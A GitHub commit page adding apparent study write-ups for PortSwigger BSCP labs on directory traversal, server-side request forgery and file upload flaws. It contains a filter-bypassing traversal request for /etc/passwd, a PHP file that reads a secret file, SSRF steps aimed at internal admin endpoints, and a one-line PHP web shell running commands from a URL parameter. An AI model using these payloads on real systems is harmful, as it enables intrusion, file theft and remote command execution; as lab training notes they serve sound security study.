-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
feat(bscp): add labs for upload vulns
- Loading branch information
Showing
5 changed files
with
40 additions
and
0 deletions.
There are no files selected for viewing
12 changes: 12 additions & 0 deletions
12
docs/writeups/2023/portswigger-bscp-labs/directory-traversal.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
# Directory Traversal | ||
|
||
## File path traversal, traversal sequences stripped non-recursively | ||
|
||
`../` gets filtered so we trick the applaction by submitting a get request like | ||
this: | ||
|
||
``` | ||
GET /image?filename=....//....//....//....//etc/passwd HTTP/2 | ||
Host: 0afc0083049fe2ff877f7f5400b400a1.web-security-academy.net | ||
``` | ||
|
1 change: 1 addition & 0 deletions
1
docs/writeups/2023/portswigger-bscp-labs/resources/php-shell.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
1 change: 1 addition & 0 deletions
1
docs/writeups/2023/portswigger-bscp-labs/resources/php-shell.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
<?php echo file_get_contents('/home/carlos/secret'); ?> |
19 changes: 19 additions & 0 deletions
19
docs/writeups/2023/portswigger-bscp-labs/server-side-request-forgery.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
# Server-side Request Forgery (SSRF) | ||
|
||
## Basic SSRF against the local server | ||
|
||
1. Click on a product | ||
2. Request the stock count of the product | ||
3. Change the url of the `stockApi` parameter to point to `localhost/admin` | ||
4. View the rendered page and the source to find our that we need to set the | ||
`stockApi` url to `localhost/admin/delete?username=carlos` | ||
|
||
## Basic SSRF against another back-end system | ||
|
||
1. Click on a product | ||
2. Request the stock count of the product | ||
3. Send request to Intruder | ||
4. Change the url of the `stockApi` parameter to point to `http://192.168.0.$1$/admin` | ||
- set `$1$` to a number between 1 and 255. | ||
5. look for `200` status answer | ||
6. delete carlos |
7 changes: 7 additions & 0 deletions
7
docs/writeups/2023/portswigger-bscp-labs/upload-vulnerabilities.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
# Upload Vulnerabilities | ||
|
||
PHP Shell | ||
|
||
``` | ||
<?php echo system($_GET['cmd']); ?> | ||
``` |